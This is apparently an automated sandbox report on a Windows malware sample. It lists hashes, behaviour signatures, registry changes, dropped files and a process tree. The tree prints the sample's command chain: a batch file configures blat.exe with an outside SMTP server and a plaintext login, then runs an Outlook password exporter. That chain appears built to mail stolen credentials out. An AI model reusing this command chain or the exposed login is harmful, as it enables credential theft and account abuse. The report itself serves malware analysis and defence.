Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
24-05-2024 11:41
Behavioral task
behavioral1
Sample
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
Resource
win10v2004-20240426-en
General
-
Target
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
-
Size
3.7MB
-
MD5
6de3da12ea83180aed2fa3dabc37cbe0
-
SHA1
c547617a266984c58743716a08f8662f3d8bb281
-
SHA256
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4
-
SHA512
4141a1544626bd94cd7fb153ae77420227bf14dbc369bce549dff7f021a21ccb4c2cf626fde6f5d10f87bd09e710784d6d7bcdf1df6733c31fff11a8b75f11c6
-
SSDEEP
49152:cYn2JVKh1VrdmC/1xpLzgYSHx4yzj8zow4ylvrFgn/y5q2DiAtGJqT5+GPd:c2FdzgYSHx4yzj8zowFdyotWAH
Malware Config
Signatures
-
Executes dropped EXE 3 IoCs
Processes:
blat.exeMPR.exeblat.exepid process 2584 blat.exe 2768 MPR.exe 2360 blat.exe -
Loads dropped DLL 5 IoCs
Processes:
cmd.exepid process 2052 cmd.exe 2052 cmd.exe 2052 cmd.exe 2052 cmd.exe 2052 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
MPR.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts MPR.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
Processes:
MPR.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook MPR.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 24 IoCs
Processes:
MPR.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile\ShellNew MPR.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile MPR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\EditFlags = "0" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32 MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid\ = "{3F2BBC05-40DF-11D2-9455-00104BC936FF}" MPR.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\ = "Implements DocHostUIHandler" MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID\ = "MPR.DocHostUIHandler" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\ = "mprf" MPR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\BrowserFlags = "8" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe,0" MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe \"%1\"" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF} MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ = "Implements DocHostUIHandler" MPR.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
MPR.exepid process 2768 MPR.exe 2768 MPR.exe 2768 MPR.exe 2768 MPR.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 484 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
MPR.exedescription pid process Token: SeDebugPrivilege 2768 MPR.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
MPR.exepid process 2768 MPR.exe 2768 MPR.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.execmd.exedescription pid process target process PID 2792 wrote to memory of 2052 2792 d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe cmd.exe PID 2792 wrote to memory of 2052 2792 d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe cmd.exe PID 2792 wrote to memory of 2052 2792 d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe cmd.exe PID 2792 wrote to memory of 2052 2792 d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe cmd.exe PID 2052 wrote to memory of 2648 2052 cmd.exe PING.EXE PID 2052 wrote to memory of 2648 2052 cmd.exe PING.EXE PID 2052 wrote to memory of 2648 2052 cmd.exe PING.EXE PID 2052 wrote to memory of 2648 2052 cmd.exe PING.EXE PID 2052 wrote to memory of 2584 2052 cmd.exe blat.exe PID 2052 wrote to memory of 2584 2052 cmd.exe blat.exe PID 2052 wrote to memory of 2584 2052 cmd.exe blat.exe PID 2052 wrote to memory of 2584 2052 cmd.exe blat.exe PID 2052 wrote to memory of 2768 2052 cmd.exe MPR.exe PID 2052 wrote to memory of 2768 2052 cmd.exe MPR.exe PID 2052 wrote to memory of 2768 2052 cmd.exe MPR.exe PID 2052 wrote to memory of 2768 2052 cmd.exe MPR.exe PID 2052 wrote to memory of 2360 2052 cmd.exe blat.exe PID 2052 wrote to memory of 2360 2052 cmd.exe blat.exe PID 2052 wrote to memory of 2360 2052 cmd.exe blat.exe PID 2052 wrote to memory of 2360 2052 cmd.exe blat.exe -
outlook_win_path 1 IoCs
Processes:
MPR.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook MPR.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe"C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1120.tmp\1.bat" "2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping ya.ru -n 53⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\blat.exeblat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u ya.eliteden -pw Elite923⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\MPR.exempr.exe /export3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_win_path
-
C:\Users\Admin\AppData\Local\Temp\blat.exe
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\1120.tmp\1.batFilesize
350B
MD5b6699b0bcec646342b9475a16d0c0074
SHA188de4575051a8fb439160f312d40e7c4674723d0
SHA25625caa4f7a0fe443f60d0dc018c696ba372237bd06045ad8522ee79ce1a38f8ec
SHA512876fee140184ca6d6c7c4b14a6be76b898ccbe2bd9568dddd7fa1f0dd4da029efd20c709a613a44e4c716f9cd5b70b2ccdd45ee5d18af0e9383cc0a01a3aca72
-
C:\Users\Admin\AppData\Local\Temp\HookLib.dllFilesize
42KB
MD59b2e0db7547afab728ec31b7288705d6
SHA1cedd09c5fda6c9445d191f97034e23e960361074
SHA256ff44a0fe9d27fc3c1f455b2b9e989235ea55be4b95ed569be4b15129e624214b
SHA5121c4c5eb672541a0fd39ed1174bdd3533e136233bd904c2e8bc7ffcab4f3e9835cbc357a66c6704619795ce983ce57a6a8a206aa922addfcc771dd14c277cdf33
-
C:\Users\Admin\AppData\Local\Temp\SAV_QGTQZTRE_5.24.2024_11-44-04_AM.mpfFilesize
19KB
MD5e2faf4609d023e1fee715040f611d4b5
SHA1d0f579078ea3a2f83454cb322aee1944e60f3095
SHA256771aa308a0a67a35c0bd2fbeebb21fd4f10167b5e3e2f01defecae9ba95d7d01
SHA512472b3bcd89bb19ae0dfc1db731fc0a354335dac7b804b61115401a68b87e617d59f6511842375c62edd8e2c42a9040786193fa9ce138a38fc2ac9bfed1860de4
-
C:\Users\Admin\AppData\Local\Temp\blat.dllFilesize
120KB
MD5724cae63522f6e5f7565a3bf4b2a719b
SHA118620dbd4357d85918070f669ff4b61755290757
SHA256b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779
SHA512af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d
-
C:\Users\Admin\AppData\Local\Temp\blat.libFilesize
2KB
MD53cd3cffda2b5108e2778f94429c624d6
SHA13e4d218d1b8eb4fa1ab5152b126951892aff3dc9
SHA256b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff
SHA512c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79
-
C:\Users\Admin\AppData\Local\Temp\block_reader.sysFilesize
1KB
MD5b5a0cfd3e6cb42a29255faa1546f420c
SHA1c55cb0f7b5a04231607498b83629e70105113ee3
SHA256a2d200514887c6f05c9e6150b57cf4541c4923b857cf15723454885b9353dff0
SHA512274a7371f1d75803926380fd10c60c9aa1bb1088594e3e0be5db255bb9f31ae178e8f79ba4b2deb49c24289dea5b17d1244c873e038d0a94159252ab62f4342e
-
C:\Users\Admin\AppData\Local\Temp\mpr.iniFilesize
341B
MD541e2bfc402a656090f4b558951604e5c
SHA1d75376b211652d3d82edcd16dd12fdadcc6ec5f6
SHA25686eef7f8560accf5640db6b06fc0ba2cbe71c0f149cfefdd5f08448f08fd3d64
SHA512bd9b93d5ab8ad7bc7f434cfb1726664d599185b018098b56711017b62f3b0e26630ffa2cf7c9082e0c2b5657cc4d086ffda8ecb7f0dd49e97648777e62d40b14
-
\Users\Admin\AppData\Local\Temp\MPR.exeFilesize
3.3MB
MD58dba37604bf06ebcef07dd1085865a6a
SHA11202eb0ea461c502daa7da9d7d75fff226bf57bd
SHA256038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0
SHA5120f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa
-
\Users\Admin\AppData\Local\Temp\blat.exeFilesize
112KB
MD531f84e433e8d1865e322998a41e6d90e
SHA1cbea6cda10db869636f57b1cffad39b22e6f7f17
SHA256aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e
SHA5127ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9
-
memory/2768-36-0x0000000000340000-0x0000000000341000-memory.dmpFilesize
4KB
-
memory/2768-52-0x0000000000500000-0x000000000084A000-memory.dmpFilesize
3.3MB